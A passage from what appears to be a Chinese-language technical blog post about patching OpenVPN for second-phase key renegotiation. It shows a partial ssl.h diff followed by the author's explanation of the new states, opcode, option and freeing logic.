-#define S_ACTIVE          6    /* ready to exchange data channel packets */
-#define S_NORMAL_OP       7    /* normal operations */
+
+#define S_K                 3    /* ready to exchange keys */
+#define S_START           4    /* ready to exchange keys */
+#define S_SENT_KEY        5    /* client does S_SENT_KEY -> S_GOT_KEY */
+#define S_GOT_KEY         6    /* server does S_GOT_KEY -> S_SENT_KEY */
+
+unsigned int reneg_sec_time;
+unsigned int reneg_base;
+
+#define S_ACTIVE          7    /* ready to exchange data channel packets */
+#define S_NORMAL_OP       8    /* normal operations */
+

/*
  * Are we ready to receive data channel packets?
@@ -358,6 +366,7 @@
   BIO *ct_out;            /* read ciphertext from here */

time_t established;        /* when our state went S_ACTIVE */
+  time_t reneg_base;
time_t must_negotiate;    /* key negotiation times out if not finished before this time */
time_t must_die;        /* this object is destroyed at this time */

@@ -540,6 +549,7 @@
int verify_maxlevel;

char *common_name;
+    int ks_size;

struct cert_hash_set *cert_hash_set;

@@ -637,6 +647,7 @@
* Our session objects.
*/
struct tls_session session[TM_SIZE];
+    int tm_size;
};

/*
@@ -843,6 +854,7 @@
 
 /*#define EXTRACT_X509_FIELD_TEST*/
void extract_x509_field_test (void);
+void key_state_soft_reset2 (struct tls_session *session, struct tls_multi *multi);

 #endif /* USE_CRYPTO && USE_SSL */

 

5.补丁的解释

该补丁很简单,主要做了四方面的事情:

5.1.增加了一个帮助信息

增加了一个reneg-second n,其中n指的是第二阶段重新协商的间隔。

5.2.增加了一个新的状态S_k

如果需要进行第二阶段的密钥协商,那么将本地session状态设置为S_K,其实这个状态等同于S_PRE_START,并且将其命令码设置为P_CONTROL_SOFT_RESET_SECOND,然后由server端发起协商请求,而由client收到P_CONTROL_SOFT_RESET_SECOND操作码时执行协商,如果client拒不执行,那么must-die机制将其断开。

5.3.增加了一个新的操作码P_CONTROL_SOFT_RESET_SECOND

client端收到这个操作码时,执行第二阶段协商,如果它不执行,server会在一定时间之后将其断开

5.4.对FREE操作进行了修改

我们知道,在修改后,多个key state可能公用一个SSL session,在原生的OpenVPN中,SSL session和key state是一对一的,只要重新协商,必然要重新初始化ks state,为了简单,TM_SIZE个session也将退化为一个,因此在这种情况下断开client的时候-PING(并不是icmp的ping)超时或者出现错误或者client主动断开或者server退出等,在FREE相关数据结构的时候,如果不谨慎操作就会出现段错误或者double free,因此在FREE的时候,用tm_size和ks_size代替了TM_SIZE和KS_SIZE,其中tm_size和ks_size分别加到了tls_multi和tls_session结构体中。

5.5.命名问题

本patch的命名极不规范,像reset2之类的...

6.总结

经过修改,OpenVPN再也不会因为重新协商密钥而重新推送策略,导致传输抖动...了,经过测试,它还真的很不错。这个修改起初仅仅有个想法,只因为看了IKE的标准,但是随后进行的修改并不顺利,那是因为我使用了push/pull机制在控制通道里进行协商通知,然而由于OpenVPN的session以及key管理机制太过复杂,因此必然需要修改大量的代码,那么为何不仿造OpenVPN的现有协议在其本身的协商机制中做个扩展呢?通过看代码,OpenVPN本身的握手协商过程使用的状态机也是在控制通道传输数据进行通知的,只需要增加一个通知消息即可,很简单,这就是返璞归真,然而前提是你必须对OpenVPN原有的机制很熟悉。